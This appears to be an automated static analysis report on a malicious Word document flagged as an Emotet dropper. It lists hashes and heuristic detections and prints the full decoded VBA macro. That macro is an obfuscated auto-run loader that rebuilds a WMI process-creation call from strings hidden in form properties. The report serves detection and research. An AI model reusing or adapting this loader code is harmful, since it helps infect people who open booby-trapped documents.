Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6c0181df22cca2a0…

MALICIOUS

Office (OLE)

173.2 KB Created: 2020-07-28 06:59:00 Authoring application: Microsoft Office Word First seen: 2021-02-19
MD5: 520fdc3f6a6c0b60af1dc645d53aa338 SHA-1: b25d70c9b49e3c603cf82e9fd3664e0cef2403f8 SHA-256: 6c0181df22cca2a0bce7deb9a09bea2592ce06ae5f40dc498c52375f89c0ef90
230 Risk Score

Heuristics 7

  • ClamAV: Doc.Dropper.EmotetIOS-9402070-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.EmotetIOS-9402070-0
  • VBA macros detected medium 4 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA UserForm hidden-property command stager critical OLE_VBA_USERFORM_HIDDEN_COMMAND_STAGER
    VBA auto-exec macro creates a COM object from a decoded variable and reconstructs command text through Split/Join and hidden UserForm properties such as ControlTipText, Tag, Pages, or HelpContextId. This is a high-confidence macro downloader/loader shape seen in the reviewed OLE set, but it is not an Office CVE exploit primitive.
    Matched line in script
    jeiwdec = Split _
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set siovhoyquoek = CreateObject(xikyooctir)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Document_open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 4499 bytes
SHA-256: 79a4fa9139584b561f2ef657470ba46adc47a966068df43eb097693e6015af9c
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "feulgozgointhich"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub _
Document_open()
labvichdioy.cezmiok
End Sub


Attribute VB_Name = "labvichdioy"
Attribute VB_Base = "0{980D0C92-A1A5-4DDE-8BE0-EDB7E18E9FA1}{94CEAC23-AF7F-4D10-BC81-E04250A06831}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function cezmiok()
zevpiaquyiey = Chr(labvichdioy.Zoom + ((60 + 60) / 8))
kS7áCw = 3
Do While kS7áCw < 3 + 1
kS7áCw = kS7áCw + 2: DoEvents
lidchouch = "xeejxiacquoch"
Loop
giapgeekreuhquouw = "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2i83nNBugU7&&)njk&&Dnnnsn882n2nm83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2gm83nNBugU7&&)njk&&Dnnnsn882n2t83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2" + zevpiaquyiey + "83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2:83nNBugU7&&)njk&&Dnnnsn882n2w83nNBugU7&&)njk&&Dnnnsn882n2in83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2383nNBugU7&&)njk&&Dnnnsn882n2283nNBugU7&&)njk&&Dnnnsn882n2_83nNBugU7&&)njk&&Dnnnsn882n2" + labvichdioy.gegbeadtaoqu + "83nNBugU7&&)njk&&Dnnnsn882n2ro83nNBugU7&&)njk&&Dnnnsn882n283nNBugU7&&)njk&&Dnnnsn882n2ce83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2s83nNBugU7&&)njk&&Dnnnsn882n2"
EIB7ÅqfeUVM = 3
Do While EIB7ÅqfeUVM < 3 + 6
EIB7ÅqfeUVM = EIB7ÅqfeUVM + 6: DoEvents
banfapdoendaet = "kaocviehxulxouc"
Loop
xikyooctir = laespiar(giapgeekreuhquouw)
Dim htNIyY1âdCk As Integer
htNIyY1âdCk = 2
Do While htNIyY1âdCk < 2 + 3
htNIyY1âdCk = htNIyY1âdCk + 4: DoEvents
toivweighoeptais = "wautduamwoar"
Loop
Set siovhoyquoek = CreateObject(xikyooctir)
Dim u4ÚQcypeHro As Long
u4ÚQcypeHro = InStr("YE2ßoUDAZJ8ÌU2Ô7ÇQL", "DAZJ8ÌU2Ô7ÇQL")
wiajzos = labvichdioy.cheuchruutviep.ControlTipText
Dim uXt1âUC7Ìlhk As Integer
uXt1âUC7Ìlhk = 1
Do While uXt1âUC7Ìlhk < 1 + 3
uXt1âUC7Ìlhk = uXt1âUC7Ìlhk + 1: DoEvents
thuulboolcaix = "foitreuwrax"
Loop
coupmoejdod = NN + (xikyooctir + zevpiaquyiey) + labvichdioy.moirluwhaeh.ControlTipText + wiajzos
Dim cm7àR As Long
cm7àR = InStr("Ri7ÝKoPO1åiu", "oPO1åiu")
heomjoath = coupmoejdod + labvichdioy.gegbeadtaoqu
Dim GTLaT As Integer
GTLaT = 8
Do While GTLaT < 8 + 9
GTLaT = GTLaT + 9: DoEvents
cheickaihsauh = "choadziencubzuur"
Loop
Set rechsiewgios = muunjeequwaqu(heomjoath)
yhtNIy = 2
Do While yhtNIy < 2 + 5
yhtNIy = yhtNIy + 8: DoEvents
requsauthlauqu = "paovceepdeuw"
Loop
uiii = Array("BNSBSBBSSS", siovhoyquoek. _
Create(cuudzouzkos, tipkaonsoekrav, rechsiewgios), "NNNNNNNSNSNSNMD")
Dim nCsIBSZFOy As Long
nCsIBSZFOy = InStr("k2ÂuKQgoHD7ÒZO", "D7ÒZO")
End Function
Function muunjeequwaqu(waevmuusdouwtheir)
Set muunjeequwaqu = CreateObject(waevmuusdouwtheir)
Dim CXgj2àMbiO As Integer
CXgj2àMbiO = 2
Do While CXgj2àMbiO < 2 + 8
CXgj2àMbiO = CXgj2àMbiO + 5: DoEvents
meimcoezwiavhean = "tuthhiothrooh"
Loop
muunjeequwaqu.showwindow = (cheathliggoaw + cauchkeopxeox) + (kaokbaojmiok + foochzizxuf)
Dim qLVYD7v As Long
qLVYD7v = InStr("qQODODfPNf", "ODfPNf")
End Function
Function laespiar(choegbukchail)
cuchkaewvam = choegbukchail
Dim C8àd8åuNsf As Integer
C8àd8åuNsf = 6
Do While C8àd8åuNsf < 6 + 2
C8àd8åuNsf = C8àd8åuNsf + 3: DoEvents
chuujhautruazxiar = "sionnaegvok"
Loop
jeiwdec = Split _
(cuchkaewvam, "83nNBugU7&&)njk&&Dnnnsn882n2")
WRTyS = 4
Do While WRTyS < 4 + 6
WRTyS = WRTyS + 1: DoEvents
moigquoel = "laethgeith"
Loop
heumyefcaus = kooooo + Join(jeiwdec, buuuu)
Dim FE8ÀZPIY As Long
FE8ÀZPIY = InStr("WnuNksorVHT", "sorVHT")
laespiar = heumyefcaus
Dim GaWZEpC As Integer
GaWZEpC = 4
Do While GaWZEpC < 4 + 4
GaWZEpC = GaWZEpC + 5: DoEvents
bomnoiquseuqu = "feacnixziech"
Loop
End Function
Function cuudzouzkos()
moooo = labvichdioy.leinthiktheirthuar.Pages(54 / 54).ControlTipText
Dim qUG3o1ávhe As Long
qUG3o1ávhe = InStr("AUODfPNfKHpPNnmcc", "HpPNnmcc")
cuudzouzkos = laespiar(moooo)
Dim PEDsswAG As Integer
PEDsswAG = 4
Do While PEDsswAG < 4 + 5
PEDsswAG = PEDsswAG + 4: DoEvents
wauwluadjox = "geuxtoahsouch"
Loop
End Function

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